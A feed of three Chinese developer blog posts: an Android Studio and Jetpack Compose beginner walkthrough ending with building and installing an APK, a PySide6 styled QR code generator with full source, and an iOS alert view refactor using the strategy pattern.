    • java:存放Java或Kotlin源代码的目录,通常会有一个与应用包名相对应的子目录。在空项目中,默认会有一个MainActivity类,这是应用的入口点。
    • res:存放应用资源的目录,包括图像、布局文件、字符串等。常见的子目录有:
      • drawable:存放图像资源。
      • mipmap:存放应用图标的不同分辨率版本。
      • values:存放字符串、颜色、样式等资源的XML文件。
      • xml:可以存放其他XML配置文件。
  • test:用于存放本地单元测试代码,这些测试通常在JVM上运行。
  • AndroidManifest.xml是Android应用的核心配置文件,类似于一个注册表,定义了应用的基本信息和组件。这个文件包含了应用的包名、版本信息、权限声明、应用组件(如活动、服务、广播接收器和内容提供者)的注册,以及其他重要的配置信息。

此处提到了一个重要概念,即活动(Activity)。

AndroidManifest.xml中,每个活动都需要在此注册,以便系统能够识别和管理它们。注册活动时,开发者可以指定活动的名称、启动模式、主题、图标等属性。此外,开发者还可以声明应用所需的权限,例如访问网络、读取联系人等。

在Android开发中,活动是用户界面的一个重要组成部分,代表了应用中的一个单一屏幕。每个活动都可以包含用户界面元素,如按钮、文本框和图像等,用户与这些元素进行交互。活动的生命周期由系统管理,开发者可以通过重写生命周期方法(如onCreateonStartonResumeonPauseonStoponDestroy)来处理活动的创建、显示、隐藏和销毁等状态。

活动之间可以通过意图(Intent)进行交互,意图是一种消息机制,用于启动新的活动或与其他应用组件进行通信。通过这种方式,Android应用可以实现多屏幕的用户体验,允许用户在不同的活动之间导航。

继续试探

编写app样式

Android Studio初始化的空项目中应该是没有控制页面样式的文件,简单搜了搜是main/res/layout/activity_main.xml,手动创建,点进去后发现Android Studio提供了拖拽式可视化的编写前端页面的工具,感觉非常强大。

image.png

欸这个时候就要问了,不想用这种拖拽式的工具,想用代码写样式怎么办?点击ctrl+b即可直接切换到code页面。在编辑区的右上角有三个按钮,分别代表code、spilit和design模式,按自己需求切换即可。

layout/activity_main.xml文件是Android应用中用于定义用户界面的布局文件。它描述了在特定活动中显示的视图和布局结构。通过XML格式,开发者可以直观地定义界面的各个元素及其属性。我感觉很类似传统前端开发中的HTML。

这里留个示范,在布局容器里添加了文本试图和按钮,并通过layout_gravity属性实现居中布局:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp">

    <TextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello, World!"
        android:textSize="24sp"
        android:layout_gravity="center"/>

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Click Me"
        android:layout_gravity="center"/>
</LinearLayout>

MainActivity主活动

MainActivity通常是Android应用的主活动,作为应用的入口点。它在应用启动时首先被创建,负责初始化应用的界面和逻辑。MainActivity的地位非常重要,因为它通常是用户首次与应用交互的地方,承载着应用的主要功能和内容。

而我们创建的安卓应用的入口就是main/java/xxx/MainActivity.kt,这里列出代码:

package com.example.demo  
  
import android.os.Bundle  
import androidx.activity.ComponentActivity  
import androidx.activity.compose.setContent  
import androidx.activity.enableEdgeToEdge  
import androidx.compose.foundation.layout.fillMaxSize  
import androidx.compose.foundation.layout.padding  
import androidx.compose.material3.Scaffold  
import androidx.compose.material3.Text  
import androidx.compose.runtime.Composable  
import androidx.compose.ui.Modifier  
import androidx.compose.ui.tooling.preview.Preview  
import com.example.demo.ui.theme.DemoTheme  
  
class MainActivity : ComponentActivity() {  
    override fun onCreate(savedInstanceState: Bundle?) {  
        super.onCreate(savedInstanceState)  
        enableEdgeToEdge()  
        setContent {  
            DemoTheme {  
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->  
                    Greeting(  
                        name = "Android",  
                        modifier = Modifier.padding(innerPadding)  
                    )  
                }  
            }        }    }  
}  
  
@Composable  
fun Greeting(name: String, modifier: Modifier = Modifier) {  
    Text(  
        text = "Hello $name!",  
        modifier = modifier  
    )  
}  
  
@Preview(showBackground = true)  
@Composable  
fun GreetingPreview() {  
    DemoTheme {  
        Greeting("Android")  
    }  
}

MainActivity.kt是Android应用的主要活动文件,负责定义应用的行为和用户界面。在这个文件中,使用了Jetpack Compose,这是Android的现代UI工具包,允许开发者使用Kotlin代码构建用户界面,而不是传统的XML布局。

MainActivity类中,onCreate方法是活动的入口点,主要作用是设置活动的内容。在这里,调用了setContent方法来定义用户界面。通过DemoTheme,应用了主题样式。Scaffold是一个布局组件,提供了基本的应用结构,如顶部应用栏、底部导航等。innerPadding用于处理内容的内边距,以避免与系统UI重叠。

像上个小标题中我列出的文本试图+按钮的代码,可以使用如下kotlin实现:

package com.example.demo

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.*
import androidx.compose.material3.Button
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import com.example.demo.ui.theme.DemoTheme

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContent {
            DemoTheme {
                MainScreen()
            }
        }
    }
}

@Composable
fun MainScreen() {
    // 使用Column代替LinearLayout,设置垂直排列
    Column(
        modifier = Modifier
            .fillMaxSize()
            .padding(16.dp),
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        // TextView
        Text(
            text = "Hello, World!",
            fontSize = 24.sp
        )

        // Button
        Button(onClick = { /* TODO: Handle button click */ }) {
            Text(text = "Click Me")
        }
    }
}

看起来也差不多。但现在好像都更推荐使用Jetpack Compose。

主要原因是Hetpack Compose支持响应式编程,能够自动根据数据变化更新界面,简化了手动更新UI的过程。这种方式提高了开发效率,特别是在处理动态内容时,开发者可以更专注于业务逻辑而不是视图的状态管理。此外,Compose的可组合性使得开发者能够创建可重用的组件,增强了代码的可维护性和可读性。通过组合不同的UI元素,开发者可以快速构建复杂的界面,同时保持代码的清晰和结构化。

虽然我的java依托,但搜搜语法也能直接上手试试。我编写了一个入门常见案例:点击后+1的按钮。常用前端框架都喜欢把这个小组件用在初始项目中。

package com.example.demo

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.*
import androidx.compose.material3.Button
import androidx.compose.material3.Text
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import com.example.demo.ui.theme.DemoTheme

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContent {
            DemoTheme {
                MainScreen()
            }
        }
    }
}

@Composable
fun MainScreen() {
    var count by remember { mutableStateOf(0) }

    Column(
        modifier = Modifier
            .fillMaxSize()
            .padding(16.dp),
        horizontalAlignment = Alignment.CenterHorizontally,
        verticalArrangement = Arrangement.Center
    ) {
        Text(
            text = count.toString(),
            fontSize = 48.sp
        )

        Spacer(modifier = Modifier.height(16.dp))

        Button(onClick = { count++ }) {
            Text(text = "Click Me")
        }

        Spacer(modifier = Modifier.weight(1f))

        Text(
            text = "Hello Kinoko",
            modifier = Modifier.align(Alignment.CenterHorizontally)
        )
    }
}

image.png

打包为apk并安装在真实设备

有两种方式,命令行打包和IDE打包,先尝试后者。

scoop install gradle

Android Studio菜单栏Build-Build App Bundle(s)/APK(s)-Build APK(s),稍等片刻就会自动打包,打包可以获得debug版本的apk安装包,路径为app/build/outputs/apk/debug/app-debug.apk,usb数据线连接手机后使用adb安装即可。

adb -s xxx install C:\Users\xxx\AndroidStudioProjects\Demo\app\build\outputs\apk\debug\app-debug.apk

我这里因为同时连接了显示器和手机,所以用-s指定设备

经检验,debug版本的app在手机上也可以正常安装使用。

img_v3_02ic_2b2adb11-5e56-45c2-8343-f30b9e43cccg.jpg

by 阿菇kinoko at January 22, 2025 03:19 AM

juejin freebie

Pyside6:构建多风格二维码生成应用(含源码)

项目介绍

这是一个基于PySide6开发的多风格二维码生成器,提供了丰富的二维码定制选项,包括多种模板样式、自定义颜色、背景图片和Logo添加等功能。

项目参考

二维码的核心生成逻辑来源于开源项目二维码美化组件

image.png

主要功能

  • 11种风格模板(默认、液态、菱形、六边形等)
  • 自定义颜色方案(前景色、背景色、定位点颜色)
  • 支持背景图片和Logo添加
  • 支持二维码下方文字添加
  • 实时预览功能
  • HTML格式导出

5f58b01f90e6549de572a9f3f5d0aa1.png

image.png

核心代码展示

1. 自定义颜色选择器组件

class ColorFrame(QFrame):
   def __init__(self, color="#000000", parent=None):
       super().__init__(parent)
       self.setFrameStyle(QFrame.Box | QFrame.Plain)
       self.setLineWidth(2)
       self.color = color
       self.setMinimumSize(40, 25)
       self.setMaximumSize(40, 25)
       self.setStyleSheet(f"background-color: {color};")  
       
   def mousePressEvent(self, event):
       color = QColorDialog.getColor(QColor(self.color))
       if color.isValid():
           self.color = color.name()
           self.setStyleSheet(f"background-color: {self.color};")

2. 统一的界面样式管理

self.setStyleSheet("""
   QLabel {
       font-size: 12px;
   }
   QLabel[section="true"] {
       font-size: 14px;
       font-weight: bold;
       padding: 5px 0;
       margin: 0px;
   }
   QRadioButton {
       font-size: 12px;
       padding: 2px;
       spacing: 5px;
   }
   QLineEdit {
       font-size: 12px;
       padding: 5px;
       min-height: 25px;
   }
   QPushButton {
       font-size: 12px;
       padding: 5px 10px;
       min-height: 25px;
   }
""")

3. 图片选择和处理功能

def choose_image(self, image_type):
   try :
       file_name, _ = QFileDialog.getOpenFileName(
           self,
           "选择图片",
           "",
           "图片文件 (*.png *.jpg *.jpeg *.gif *.bmp)"
       )
       
       if file_name:
           # 生成唯一的文件名
           file_ext = os.path.splitext(file_name)[1]
           new_name = f"{image_type}_{os.urandom(4).hex()}{file_ext}"
           dest_path = os.path.join(self.temp_dir, new_name)
           
           # 复制文件
           shutil.copy2(file_name, dest_path)
           
           # 更新UI和变量
           if image_type == "background":
               self.background_image = dest_path
               self.bg_image_label.setText(os.path.basename(file_name))
           else:
               self.logo_image = dest_path
               self.logo_image_label.setText(os.path.basename(file_name))
               
   except Exception as e:
       QMessageBox.warning(self, "错误", f"图片处理失败: {str(e)}")

技术栈

  • Python 3.x
  • PySide6
  • widget-qrcode.js
  • HTML5

开发亮点

  1. 采用PySide6构建现代化GUI界面
  2. 使用HTML方式渲染,确保二维码质量
  3. 支持多种自定义选项,满足不同需求
  4. 代码结构清晰,易于维护和扩展

完整代码

from     PySide6.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                             QHBoxLayout, QLabel, QLineEdit, QRadioButton,
                             QPushButton, QSpinBox, QColorDialog, QFileDialog, 
                             QButtonGroup, QFrame, QMessageBox, QComboBox, QGridLayout)
from PySide6.QtCore import Qt
from PySide6.QtGui import QColor
import sys
import os
import tempfile
import webbrowser
import shutil

class ColorFrame(QFrame):
    def __init__(self, color="#000000", parent=None):
        super().__init__(parent)
        self.setFrameStyle(QFrame.Box | QFrame.Plain)
        self.setLineWidth(2)
        self.color = color
        self.setMinimumSize(40, 25)
        self.setMaximumSize(40, 25)
        self.setStyleSheet(f"background-color: {color};")
        
    def mousePressEvent(self, event):
        color = QColorDialog.getColor(QColor(self.color))
        if color.isValid():
            self.color = color.name()
            self.setStyleSheet(f"background-color: {self.color};")

class QRCodeGenerator(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowTitle("二维码生成器")
        self.setMinimumSize(550, 680)
        
        # 设置全局样式
        self.setStyleSheet("""
            QLabel {
                font-size: 12px;
            }
            QLabel[section="true"] {
                font-size: 14px;
                font-weight: bold;
                padding: 5px 0;
                margin: 0px;
            }
            QRadioButton {
                font-size: 12px;
                padding: 2px;
                spacing: 5px;
            }
            QLineEdit {
                font-size: 12px;
                padding: 5px;
                min-height: 25px;
            }
            QPushButton {
                font-size: 12px;
                padding: 5px 10px;
                min-height: 25px;
            }
            QSpinBox {
                font-size: 12px;
                padding: 5px;
                min-width: 70px;
                min-height: 25px;
            }
            QComboBox {
                font-size: 12px;
                padding: 2px 5px;
            }
        """)
        
        # 初始化变量
        self.background_image = ""
        self.logo_image = ""
        self.save_path = os.path.expanduser("~/Documents")
        
        # 初始化颜色选择器
        self.fg_color = ColorFrame("#000000")
        self.bg_color = ColorFrame("#FFFFFF")
        self.inner_color = ColorFrame("#FFA500")
        self.outer_color = ColorFrame("#FFD700")
        
        # 创建主布局
        main_widget = QWidget()
        self.setCentralWidget(main_widget)
        control_layout = QVBoxLayout(main_widget)
        control_layout.setSpacing(10)
        control_layout.setContentsMargins(15, 15, 15, 15)
        
        # 修改颜色选择器尺寸
        for color_frame in [self.fg_color, self.bg_color, self.inner_color, self.outer_color]:
            color_frame.setMinimumSize(30, 20)
            color_frame.setMaximumSize(30, 20)
        
        # 1. 文本内容
        content_layout = QVBoxLayout()
        content_layout.setSpacing(8)
        content_label = QLabel("文本内容")
        content_label.setProperty("section", True)  # 设置为段落标题
        self.content_input = QLineEdit()
        self.content_input.setPlaceholderText("请在此输入二维码内容")
        self.content_input.setMinimumHeight(35)  # 增加输入框高度
        content_layout.addWidget(content_label)
        content_layout.addWidget(self.content_input)
        control_layout.addLayout(content_layout)
        
        # 2. 风格模板
        template_layout = QVBoxLayout()
        template_layout.setSpacing(5)  # 减小垂直间距
        
        # 标题使用水平布局
        template_header = QHBoxLayout()
        template_label = QLabel("风格模板")
        template_label.setProperty("section", True)
        template_header.addWidget(template_label)
        template_header.addStretch()
        template_layout.addLayout(template_header)
        
        # 创建网格布局来放置单选按钮
        templates_grid = QGridLayout()
        templates_grid.setHorizontalSpacing(30)  # 水平间距
        templates_grid.setVerticalSpacing(10)    # 垂直间距
        templates_grid.setContentsMargins(0, 5, 0, 5)  # 上下留出空间
        
        templates = [
            ('default', '默认'), ('water', '液态'), ('diamond', '菱形'),
            ('hexagon', '六边形'), ('star', '星星'), ('rect', '方块'),
            ('bar', '条形'), ('heart', '心形'), ('glitter', '闪烁'),
            ('stroke', '描边'), ('fusion', '融合')
        ]
        
        # 修改单选按钮样式
        radio_style = """
            QRadioButton {
                padding: 2px;
                min-height: 20px;
                spacing: 5px;
            }
            QRadioButton:hover {
                background-color: #f0f0f0;
            }
        """
        
        self.template_group = QButtonGroup(self)
        
        # 使用网格布局排列按钮,每行5个
        for i, (template_id, template_name) in enumerate(templates):
            radio = QRadioButton(template_name)
            radio.setStyleSheet(radio_style)
            if template_id == 'default':
                radio.setChecked(True)
            self.template_group.addButton(radio)
            row = i // 5
            col = i % 5
            templates_grid.addWidget(radio, row, col)
        
        template_layout.addLayout(templates_grid)
        control_layout.addLayout(template_layout)
        
        # 添加分隔线
        separator = QFrame()
        separator.setFrameShape(QFrame.HLine)
        separator.setFrameShadow(QFrame.Sunken)
        separator.setStyleSheet("""
            QFrame {
                background-color: #e0e0e0;
                height: 1px;
                margin: 10px 0px;
            }
        """)
        control_layout.addWidget(separator)
        
        # 3. 纠错等级和尺寸设置(放在同一行)
        level_size_layout = QHBoxLayout()
        
        # 纠错等级(改为下拉框)
        level_layout = QHBoxLayout()
        level_layout.setSpacing(5)
        level_label = QLabel("纠错等级:")
        level_label.setFixedWidth(60)
        self.level_combo = QComboBox()
        self.level_combo.addItems(['L', 'M', 'Q', 'H'])
        self.level_combo.setCurrentText('M')
        self.level_combo.setFixedWidth(60)
        level_layout.addWidget(level_label)
        level_layout.addWidget(self.level_combo)
        level_layout.addStretch()
        
        # 尺寸设置
        size_layout = QHBoxLayout()
        size_layout.setSpacing(5)
        width_label = QLabel("宽度:")
        width_label.setFixedWidth(40)
        self.width_spin = QSpinBox()
        self.width_spin.setRange(100, 1000)
        self.width_spin.setValue(300)
        self.width_spin.setFixedWidth(60)
        height_label = QLabel("高度:")
        height_label.setFixedWidth(40)
        self.height_spin = QSpinBox()
        self.height_spin.setRange(100, 1000)
        self.height_spin.setValue(300)
        self.height_spin.setFixedWidth(60)
        
        size_layout.addWidget(width_label)
        size_layout.addWidget(self.width_spin)
        size_layout.addWidget(height_label)
        size_layout.addWidget(self.height_spin)
        size_layout.addStretch()
        
        level_size_layout.addLayout(level_layout)
        level_size_layout.addLayout(size_layout)
        control_layout.addLayout(level_size_layout)
        
        # 4. 颜色方案
        colors_layout = QVBoxLayout()
        colors_layout.setSpacing(8)
        
        # 标题使用水平布局
        colors_header = QHBoxLayout()
        colors_label = QLabel("颜色方案")
        colors_label.setProperty("section", True)
        colors_header.addWidget(colors_label)
        colors_header.addStretch()  # 添加弹性空间
        colors_layout.addLayout(colors_header)
        
        colors_grid = QHBoxLayout()
        colors_grid.setSpacing(15)  # 减小颜色选择器间距
        
        # 颜色选择器布局
        color_items = [
            (self.fg_color, "前景"),
            (self.bg_color, "背景"),
            (self.inner_color, "定位内框"),
            (self.outer_color, "定位外框")
        ]
        
        for color_frame, label_text in color_items:
            item_layout = QHBoxLayout()
            item_layout.addWidget(color_frame)
            item_layout.addWidget(QLabel(label_text))
            colors_grid.addLayout(item_layout)
        
        colors_grid.addStretch()  # 添加弹性空间
        colors_layout.addLayout(colors_grid)
        control_layout.addLayout(colors_layout)
        
        # 5. 图片设置
        images_layout = QVBoxLayout()
        images_label = QLabel("图片设置")
        images_label.setProperty("section", True)
        images_layout.addWidget(images_label)
        
        images_row_layout = QHBoxLayout()
        
        # 背景图
        bg_image_layout = QHBoxLayout()
        self.bg_image_label = QLabel("未选择")  # 添加标签初始化
        bg_image_btn = QPushButton("选择背景图")
        bg_image_clear = QPushButton("清除")
        bg_image_btn.setFixedWidth(100)
        bg_image_clear.setFixedWidth(50)
        bg_image_layout.addWidget(self.bg_image_label)  # 添加标签到布局
        bg_image_layout.addWidget(bg_image_btn)
        bg_image_layout.addWidget(bg_image_clear)
        
        # Logo图
        logo_image_layout = QHBoxLayout()
        self.logo_image_label = QLabel("未选择")  # 添加标签初始化
        logo_image_btn = QPushButton("选择Logo")
        logo_image_clear = QPushButton("清除")
        logo_image_btn.setFixedWidth(100)
        logo_image_clear.setFixedWidth(50)
        logo_image_layout.addWidget(self.logo_image_label)  # 添加标签到布局
        logo_image_layout.addWidget(logo_image_btn)
        logo_image_layout.addWidget(logo_image_clear)
        
        # 连接按钮事件
        bg_image_btn.clicked.connect(lambda: self.choose_image("background"))
        bg_image_clear.clicked.connect(lambda: self.clear_image("background"))
        logo_image_btn.clicked.connect(lambda: self.choose_image("logo"))
        logo_image_clear.clicked.connect(lambda: self.clear_image("logo"))
        
        images_row_layout.addLayout(bg_image_layout)
        images_row_layout.addLayout(logo_image_layout)
        images_layout.addLayout(images_row_layout)
        control_layout.addLayout(images_layout)
        
        # 7. 文字设置(提示文字和颜色放在同一行)
        text_layout = QVBoxLayout()
        text_label = QLabel("文字设置")
        text_layout.addWidget(text_label)
        
        text_row_layout = QHBoxLayout()
        
        # 提示文字输入
        text_input_layout = QHBoxLayout()
        text_input_label = QLabel("提示文字:")
        text_input_label.setFixedWidth(60)
        self.text_input = QLineEdit()
        self.text_input.setPlaceholderText("请输入二维码下方显示的文字")
        text_input_layout.addWidget(text_input_label)
        text_input_layout.addWidget(self.text_input)
        
        # 文字颜色选择
        text_color_layout = QHBoxLayout()
        text_color_layout.setSpacing(5)
        self.text_color = ColorFrame("#0000FF")
        text_color_layout.addWidget(QLabel("文字颜色:"))
        text_color_layout.addWidget(self.text_color)
        
        text_row_layout.addLayout(text_input_layout)
        text_row_layout.addLayout(text_color_layout)
        text_layout.addLayout(text_row_layout)
        
        control_layout.addLayout(text_layout)
        
        # 8. 保存设置
        save_layout = QVBoxLayout()
        save_label = QLabel("保存设置")
        save_layout.addWidget(save_label)
        
        save_path_layout = QHBoxLayout()
        save_path_layout.setSpacing(5)
        self.save_path_label = QLabel(self.save_path)  # 使用初始化的save_path
        save_path_btn = QPushButton("选择保存位置")
        save_path_btn.clicked.connect(self.choose_save_path)
        save_path_layout.addWidget(self.save_path_label, 1)
        save_path_layout.addWidget(save_path_btn)
        save_layout.addLayout(save_path_layout)
        control_layout.addLayout(save_layout)
        
        # 9. 操作按钮
        buttons_layout = QHBoxLayout()
        buttons_layout.setSpacing(10)
        
        preview_btn = QPushButton("生成预览")
        save_btn = QPushButton("保存二维码")
        
        # 设置按钮大小
        for btn in [preview_btn, save_btn]:
            btn.setMinimumWidth(100)
            btn.setMinimumHeight(30)
        
        # 连接按钮点击事件
        preview_btn.clicked.connect(self.generate_preview)
        save_btn.clicked.connect(self.save_qrcode)
        
        buttons_layout.addWidget(preview_btn)
        buttons_layout.addWidget(save_btn)
        control_layout.addLayout(buttons_layout)
        
        # 设置各部分之间的分隔线
        separator_style = """
            QFrame {
                background-color: #e0e0e0;
                height: 1px;
                margin: 5px 0px;
            }
        """
        
        # 为每个部分添加分隔线
        for i in range(control_layout.count()):
            if isinstance(control_layout.itemAt(i), QVBoxLayout):
                separator = QFrame()
                separator.setFrameShape(QFrame.HLine)
                separator.setFrameShadow(QFrame.Sunken)
                separator.setStyleSheet(separator_style)
                control_layout.insertWidget(control_layout.indexOf(control_layout.itemAt(i)) + 1, separator)

        # 添加底部弹性空间
        control_layout.addStretch()

        # 修改临时目录位置到用户文档目录下
        self.temp_dir = os.path.join(os.path.expanduser("~/Documents"), "qrcode_temp")
        try:
            if not os.path.exists(self.temp_dir):
                os.makedirs(self.temp_dir)
        except Exception as e:
            QMessageBox.warning(self, "警告", f"创建临时目录失败: {str(e)}")
            self.temp_dir = os.getcwd()  # 如果创建失败,使用当前目录
        
        # 添加底部版权信息
        self.about_label = QLabel(
        '<p><a href="https://www.allfather.top">愿代码流畅无阻,愿调试轻松自如</a></p>',
        self
        )
        # self.about_label.setStyleSheet("background: lightblue")
        self.about_label.setAlignment(Qt.AlignBottom | Qt.AlignRight)
        self.about_label.setOpenExternalLinks(True)  # 允许 QLabel 中的链接被点击跳转
        # 将 QLabel 添加到布局中
        control_layout.addWidget(self.about_label)

    def choose_color(self, button):
        color = QColorDialog.getColor()
        if color.isValid():
            button.setStyleSheet(f"background-color: {color.name()};")
            self.preview_qrcode()
            
    def choose_image(self, image_type):
        try:
            file_name, _ = QFileDialog.getOpenFileName(
                self,
                "选择图片",
                "",
                "图片文件 (*.png *.jpg *.jpeg *.gif *.bmp)"
            )
            
            if file_name:
                # 生成唯一的文件名
                file_ext = os.path.splitext(file_name)[1]
                new_name = f"{image_type}_{os.urandom(4).hex()}{file_ext}"
                dest_path = os.path.join(self.temp_dir, new_name)
                
                # 复制文件
                shutil.copy2(file_name, dest_path)
                
                # 更新UI和变量
                if image_type == "background":
                    if hasattr(self, 'background_image') and self.background_image:
                        try:
                            os.remove(self.background_image)
                        except:
                            pass
                    self.background_image = dest_path
                    self.bg_image_label.setText(os.path.basename(file_name))
                else:
                    if hasattr(self, 'logo_image') and self.logo_image:
                        try:
                            os.remove(self.logo_image)
                        except:
                            pass
                    self.logo_image = dest_path
                    self.logo_image_label.setText(os.path.basename(file_name))
                
        except Exception as e:
            QMessageBox.warning(self, "错误", f"图片处理失败: {str(e)}")

    def clear_image(self, image_type):
        """清除图片"""
        try:
            if image_type == "background":
                if self.background_image:
                    os.remove(self.background_image)
                self.background_image = ""
                self.bg_image_label.setText("未选择")
            else:
                if self.logo_image:
                    os.remove(self.logo_image)
                self.logo_image = ""
                self.logo_image_label.setText("未选择")
            
        except Exception as e:
            QMessageBox.warning(self, "错误", "清除图片失败")
            
    def choose_save_path(self):
        folder_path = QFileDialog.getExistingDirectory(
            self,
            "选择保存位置",
            self.save_path
        )
        if folder_path:
            self.save_path = folder_path
            self.save_path_label.setText(folder_path)

    def preview_qrcode(self):
        # 移除此方法,因为不再需要预览功能
        pass

    def generate_preview(self):
        """生成二维码并在浏览器中打开"""
        if not self.content_input.text():
            QMessageBox.warning(self, "警告", "请输入二维码内容!")
            return
            
        # 生成HTML内容
        html_content = self.generate_html_content()
        
        # 保存到临时文件
        preview_html = os.path.join(self.temp_dir, "preview.html")
        with open(preview_html, "w", encoding="utf-8") as f:
            f.write(html_content)
        
        # 在浏览器中打开
        webbrowser.open(f"file://{preview_html}")

    def generate_html_content(self):
        # 获取所有参数
        value = self.content_input.text()
        template = self.template_group.checkedButton().text()  # 获取模板名称
        # 将中文模板名称转换为英文ID
        template_map = {
            '默认': 'default', '液态': 'water', '菱形': 'diamond',
            '六边形': 'hexagon', '星星': 'star', '方块': 'rect',
            '条形': 'bar', '心形': 'heart', '闪烁': 'glitter',
            '描边': 'stroke', '融合': 'fusion'
        }
        template = template_map.get(template, 'default')  # 如果找不到对应的英文ID,使用default
        
        level = self.level_combo.currentText()
        width = self.width_spin.value()
        height = self.height_spin.value()
        bg_color = self.bg_color.color
        fg_color = self.fg_color.color
        inner_color = self.inner_color.color
        outer_color = self.outer_color.color
        text = self.text_input.text()
        text_color = self.text_color.color
        
        # 构建HTML内容
        html_content = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="UTF-8">
            <script type="text/javascript" src="https://passer-by.com/widget-qrcode/dist/widget-qrcode.min.js"></script>
        </head>
        <body style="margin:0;display:flex;justify-content:center;align-items:center;min-height:100vh;">
            <widget-qrcode 
                value="{value}"
                template="{template}"
                level="{level}"
                width="{width}"
                height="{height}"
                background-color="{bg_color}"
                foreground-color="{fg_color}"
                inner-color="{inner_color}"
                outer-color="{outer_color}"
        """
        
        if self.background_image:
            html_content += f'background-image="file://{self.background_image}"\n'
        if self.logo_image:
            html_content += f'logo="file://{self.logo_image}"\n'
        if text:
            html_content += f'text="{text}"\n'
            html_content += f'text-color="{text_color}"\n'
            html_content += 'text-stroke="2px solid #000000"\n'
            
        html_content += """>
            </widget-qrcode>
        </body>
        </html>
        """
        return html_content
            
    def save_qrcode(self):
        if not self.content_input.text():
            QMessageBox.warning(self, "警告", "请输入二维码内容!")
            return
            
        file_name = os.path.join(self.save_path, "qrcode.html")
        file_name, _ = QFileDialog.getSaveFileName(
            self,
            "保存二维码",
            file_name,
            "HTML文件 (*.html)"
        )
        
        if file_name:
            html_content = self.generate_html_content()
            with open(file_name, "w", encoding="utf-8") as f:
                f.write(html_content)
            
            # 如果选择了图片,复制到保存目录
            save_dir = os.path.dirname(file_name)
            if self.background_image:
                shutil.copy2(self.background_image, save_dir)
            if self.logo_image:
                shutil.copy2(self.logo_image, save_dir)
                
            QMessageBox.information(self, "成功", "二维码已保存!")
            # 保存后自动在浏览器中打开
            webbrowser.open(f"file://{file_name}")

    def create_separator(self):
        """创建分隔线"""
        separator = QFrame()
        separator.setFrameShape(QFrame.HLine)
        separator.setFrameShadow(QFrame.Sunken)
        separator.setStyleSheet("""
            QFrame {
                background-color: #cccccc;
                height: 1px;
                margin: 10px 0px;
            }
        """)
        return separator

    def __del__(self):
        """析构函数,清理临时文件"""
        try:
            if os.path.exists(self.temp_dir):
                shutil.rmtree(self.temp_dir, ignore_errors=True)
        except:
            pass
    

def main():
    app = QApplication(sys.argv)
    window = QRCodeGenerator()
    window.show()
    sys.exit(app.exec())

if __name__ == "__main__":
    main() 

by victor66 at January 22, 2025 02:51 AM

juejin ios

iOS小组件 - 全屏弹窗(策略模式重构)

2025.01.22 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

考虑到随着对于APP内部全屏弹窗的需求迭代,业务相关的代码在日积月累下会使基础功能类变得臃肿。

在此借着新版本开发的机会,对全屏弹窗基类基础功能使用策略模式重构并重新封装,使基础功能和业务分离、解耦。

一、重构之前的代码

如下图所示,原有的做法是使用 switch case 枚举管理业务类型,根据不同的 case 选择不同的业务进行视图初始化,导致业务类型庞大之后 YAYAlertView 类有了上千行的代码,显然是随着迭代的进行,以后维护的难度将会越来越大。

tapd_44062861_1683878516_639.png

二、策略模式优化具体实现

使用协议定义一个抽象方法,单独抽取业务代码,遵循协议,实现抽象方法。

protocol ShowAlertViewProtocol {
/// 注入alertView的初始化方法
func setupAlert();
}

在需要调用的地方,调用 YAYAlertViewsetup(_ showAlertView: ShowAlertViewProtocol, needMaskAction: Bool) 方法,遵循 依赖倒置 原则注入业务View。

例子:

// 弹窗注入初始化
func setup(_ showAlertView: ShowAlertViewProtocol, needMaskAction: Bool) {
    if let alertView = showAlertView as? UIView {
        alertView.frame = self.bounds
        addSubview(alertView)
        // 调用协议方法,实现子类弹窗初始化布局
        showAlertView.setupAlert()
    }
    // 添加遮罩点击
    if needMaskAction {
        maskControl.addTarget(self, action: #selector(close), for: .touchUpInside)
    }
}

三、最终效果

使用策略模式优化之后的 YAYAlertView 只有146行代码,且增加新的业务需求时不会修改到功能代码,大大增强了代码的可维护性和稳定性,降低了耦合。

以下是重构之后的文件结构,每一个业务只需要在 Views 文件夹下增添自己的业务视图即可。 例如,下图的 “版本更新弹窗”,添加 YAYAppVersionInfoModel 管理数据模型,添加 YAYNewVersionAlertView 业务视图到 Views 文件夹下,最后把 YAYNewVersionAlertView 注入到基础功能类即可。

tapd_44062861_1683880520_341.png

以后只需要创建自己的业务视图,利用 alertView.setup() 方法去注入业务视图到基础功能即可 最终执行效果:

// 业务调用全屏弹窗的方法
func setupNewVersion() {  
    // 基础弹窗
    let alertView = YAYAlertView(frame: CGRect(x: (screenWidth - 310)/2, y: (screenHeight - 333)/2, width: 310, height: 333))
    // 更新弹窗,业务视图
    let newVersionView = YAYNewVersionAlertView()
    // 业务弹窗注入基础功能
    alertView.setup(newVersionView, needMaskAction: false)
}

四、策略模式

策略模式是一种行为设计模式, 它能让你定义一系列算法, 并将每种算法分别放入独立的类中, 以使算法的对象能够相互替换。 以下是策略模式的结构图:

tapd_44062861_1683880965_618.png

策略模式的优点:
  • 你可以在运行时切换对象内的算法。
  • 你可以将算法的实现和使用算法的代码隔离开来。
  • 你可以使用组合来代替继承。
